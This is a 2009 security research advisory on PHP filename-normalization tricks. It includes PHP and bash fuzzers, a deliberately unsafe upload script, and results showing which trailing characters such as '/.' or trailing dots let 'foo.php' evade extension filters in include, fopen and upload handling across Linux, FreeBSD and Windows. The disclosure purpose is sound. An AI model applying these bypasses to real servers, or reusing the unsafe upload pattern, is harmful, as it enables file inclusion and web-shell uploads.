PHP filesystem attack vectors - Take Two Name PHP filesystem attack vectors - Take Two Systems Affected PHP and PHP+Suhosin Vendor http://www.php.net/ Advisory http://www.ush.it/team/ush/hack-phpfs/phpfs_mad_2.txt Authors Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it) Antonio "s4tan" Parata (s4tan AT ush DOT it) Francesco "ascii" Ongaro (ascii AT ush DOT it) Alessandro "jekil" Tanasi (alessandro AT tanasi DOT it) Date 20090725 I) Introduction II) PHP arbitrary Local File Inclusion testing III) PHP arbitrary Local File Inclusion results IV) PHP arbitrary File Open testing V) PHP arbitrary File Open results VI) PHP arbitrary Remote File Upload testing VII) PHP arbitrary Remote File Upload results VIII) Conclusions IX) References I) Introduction This is the second part and continuation of our previous "PHP filesystem attack vectors" [1] research. Working with s4tan and ascii on the "SugarCRM 5.2.0e Remote Code Execution" advisory [2] we noticed a strange behaviour on Windows OS: trying to upload a file named "a.php." results in just "a.php". Analyzing this we noticed that every time an application, or manually, was trying to open or save a file with one ore more dots at the end, Windows was not denying the operation, but it was removing the dots in a transparent way. Mindful readers probably have already spotted the issue. We wanted to take our time for a deeper investigation about what normalization issues were available and how to take advantage of them in order to exploit arbitrary local file inclusion/handling and uploads functionalities (not only on Windows OS but also on GNU/Linux and *BSD). Below you can find the sources of two simple "academic" fuzzers, later results are discussed and finally POCs and conclusions are proposed. II) PHP arbitrary Local File Inclusion testing This tests include(), include_once(), require(), require_once() and similiar functions. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- alfi_fuzzer.php: <?php error_reporting(0); $InterestingFile = "test_alfi.php"; $fh = @fopen($InterestingFile, 'w+'); fwrite($fh, "<?php ?>"); fclose($fh); for ($i = 1; $i < 256; $i++) { $chri = chr($i); for ($j = 0; $j < 256; $j++) { $chrj = chr($j); for ($k = 0; $k < 256; $k++) { $chrk = chr($k); if($chri.$chrj.$chrk == '://') continue; if ($j == 0) $FuzzyFile = $InterestingFile.$chri; else if ($k == 0) $FuzzyFile = $InterestingFile.$chri.$chrj; else $FuzzyFile = $InterestingFile.$chri.$chrj.$chrk; if(include($FuzzyFile)) { print($i." ".$j." ".$k." [".$FuzzyFile."]\n"); fclose($fh); } if($j == 0) break; } } } unlink($InterestingFile); ?> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Note: This code and the one that will be presented in section IV only makes use of chars from the ASCII extended table (256 chars) to limit the combinations because our intent was to test not only a malicious ending char but a whole ending "extension" of 3 bytes. A better fuzzer would include UTF-8. In the test we also do not consider \x00, because this vector is already known [3, 4]. III) PHP arbitrary Local File Inclusion results --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo PHPFS_MAD2 $ php alfi_fuzzer.php 47 46 46 [test_alfi.php/.] 47 47 47 [test_alfi.php//.] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27 PHPFS_MAD2 $ php alfi_fuzzer.php [ NO RESULTS ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7 PHPFS_MAD2 $ php alfi_fuzzer.php [ NO RESULTS ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.3.0 Windows XP (WampServer 2.0i install) C:\PHPFS_MAD2> php alfi_fuzzer.php ! Valid chars are: \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>) ! Valid strings are all combinations of the above chars. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install) C:\PHPFS_MAD2> php alfi_fuzzer.php ! Valid chars are: \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>) ! Valid strings are all combinations of the above chars. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- IV) PHP arbitrary File Open testing This tests fopen() and similiar functions. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- afo_fuzzer.php: <?php error_reporting(0); $MaliciousFile = "test_afo.php"; for ($i = 1; $i < 256; $i++) { $chri = chr($i); for ($j = 0; $j < 256; $j++) { $chrj = chr($j); for ($k = 0; $k < 256; $k++) { if ($j == 0) $FuzzyFile = $MaliciousFile.$chri; else if ($k == 0) $FuzzyFile = $MaliciousFile.$chri.$chrj; else $FuzzyFile = $MaliciousFile.$chri.$chrj.chr($k); $fh = @fopen($FuzzyFile, 'w+'); if ($fh != FALSE) { fwrite($fh, $FuzzyFile); fclose($fh); if (file_exists($MaliciousFile)) { if ($j == 0) print($i." "); else if ($k == 0) print($i." ".$j." "); else $FuzzyFile = print($i." ".$j." ".$k." "); print("[".file_get_contents($MaliciousFile)."]\n"); unlink($MaliciousFile); } else unlink($FuzzyFile); } if($j == 0) break; } } } ?> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- V) PHP arbitrary File Open Fuzzer results --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo PHPFS_MAD2 $ php afo_fuzzer.php 47 46 [test_afo.php/.] 47 47 46 [test_afo.php//.] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27 PHPFS_MAD2 $ php afo_fuzzer.php [ NO RESULTS ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7 PHPFS_MAD2 $ php afo_fuzzer.php 47 46 [test_afo.php/.] 47 47 46 [test_afo.php//.] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.3.0 Windows XP (WampServer 2.0i install) C:\PHPFS_MAD2> php afo_fuzzer.php ! Valid chars are: \x2E (.), \x2F (/), \x5C (\) ! Valid strings are all combinations of the above chars. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install) C:\PHPFS_MAD2> php afo_fuzzer.php ! Valid chars are: \x2E (.), \x2F (/), \x5C (\) ! Valid strings are all combinations of the above chars. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- VI) PHP arbitrary Remote File Upload testing This tests move_uploaded_file() and similiar functions. --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- upload.php: <?php error_reporting(0); $MaliciousFile = "evil.php"; if (isset($_GET['fuzzy'])) { $FuzzyDestination = $MaliciousFile.$_GET['fuzzy']; move_uploaded_file($_FILES['userfile']['tmp_name'], $FuzzyDestination); printf($FuzzyDestination); if (file_exists($MaliciousFile)) { echo "SUCCESS"; unlink($MaliciousFile); exit(); } else { unlink($FuzzyDestination); } } echo "FAIL"; ?> arfu_fuzzer.sh: #!/bin/bash touch "uploadtest.txt" url="http://127.0.0.1/uploads/upload.php?fuzzy="; for i in {1..255}; do xi="%`printf %02x $i`" for j in {0..255}; do xj="%`printf %02x $j`" for k in {0..255}; do xk="%`printf %02x $k`" ext="$xi$xj$xk" [ $k -eq 0 ] && ext="$xi$xj" [ $k -eq 0 ] && [ $j -eq 0 ] && ext="$xi" response=`curl -kis -F "userfile=@xxxxxxxxxxxxxx;" $url$ext | grep SUCCESS | wc -l` if [ "$response" == "1" ]; then echo "Found: $i $j $k -> ($ext)"; fi [ $j -eq 0 ] && break done done done --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- VII) PHP arbitrary Remote File Upload results --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo PHPFS_MAD2 $ sh test_arfu.sh FOUND: 47 0 0 -> (/) FOUND: 47 46 0 -> (/.) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27 PHPFS_MAD2 $ sh test_arfu.sh FOUND: 47 0 0 -> (/) FOUND: 47 46 0 -> (/.) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7 PHPFS_MAD2 $ sh test_arfu.sh FOUND: 47 46 0 -> (/.) --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<- PHP 5.3.0 Windows XP (WampServer 2.0i install) PHPFS_MAD2 $ sh test_arfu.sh [ All the combinations of (space), ., /, \ are valid ones. ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install) PHPFS_MAD2 $ sh test_arfu.sh [ All the combinations of (space), ., /, \ are valid ones. ] --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- VIII) Conclusions We found that it's possible to take advantage of filename normalization routines in order to bypass common web application security routines, detailed below: - On GNU/Linux both (include|require)(_once)? functions will convert "foo.php" followed by one or more sequences of \x2F (/) and \x2E (.) back to "foo.php". This does not work if Suhosin patch is applied. - On GNU/Linux the fopen function will convert "foo.php" followed by one or more sequences of \x2F (/) and \x2E (.) back to "foo.php". This does not work if Suhosin patch is applied. - On GNU/Linux move_uploaded_file function will convert "foo.php" followed by one or more sequences of \x2F (/) and \x2E (.) back to "foo.php". This does work anyway *also* if Suhosin patch is applied. - On FreeBSD the fopen function will convert "foo.php" followed by one or more sequences of \x2F (/) and \x2E (.) back to "foo.php". This does work anyway *also* if Suhosin patch is applied. Suhosin is shipped in the the default install. - On FreeBSD the move_uploaded_file function will convert "foo.php" followed by one or more sequences of \x2F (/) and \x2E (.) back to "foo.php". This does work anyway *also* if Suhosin patch is applied. Suhosin is shipped in the the default install. - On Windows OS both (include|require)(_once)? functions will convert "foo.php" followed by one or more of the chars \x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>) back to "foo.php". - On Windows OS the fopen function will convert "foo.php" followed by one or more of the chars \x2E (.), \x2F (/), \x5C (\) back to "foo.php". - On Windows OS move_uploaded_file function will convert "foo.php" followed by one or more of the chars \x2E (.), \x2F (/), \x5C (\) back to "foo.php". We have observed that some particular strings like "foo.php./" or "foo.php.\" force Windows to create a file called "foo.php.". It seems that Windows' functions do not contemplate the existence of a file with dots at the end (perhaps Windows hackers can better comment on this). All functions on that file will fail their attempt, so that it's not possible to easily delete or rename that file (one has to do del * or similiar). IX) References [1] http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt [2] http://www.ush.it/team/ush/hack-sugarcrm_520e/adv.txt [3] http://www.securiteam.com/securitynews/5FP0C0KJPQ.html [4] http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/ --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Credits (Out of band) This article has been bought to you by the ush.it team. Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco "ascii" Ongaro are the ones who spent most hours on it with the precious help of Alessandro "Jekil" Tanasi, Florin "Slippery" Iamandi and many other friends. Giovanni "evilaliv3" Pellerano web site: http://www.ush.it/, http://www.evilaliv3.org/ mail: evilaliv3 AT ush DOT it Antonio "s4tan" Parata web site: http://www.ush.it/ mail: s4tan AT ush DOT it Francesco "ascii" Ongaro web site: http://www.ush.it/ mail: ascii AT ush DOT it Alessandro "jekil" Tanasi web site: http://www.tanasi.it/ mail: alessandro AT tanasi DOT it --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Legal Notices Copyright (c) 2009 Francesco "ascii" Ongaro Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the article is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
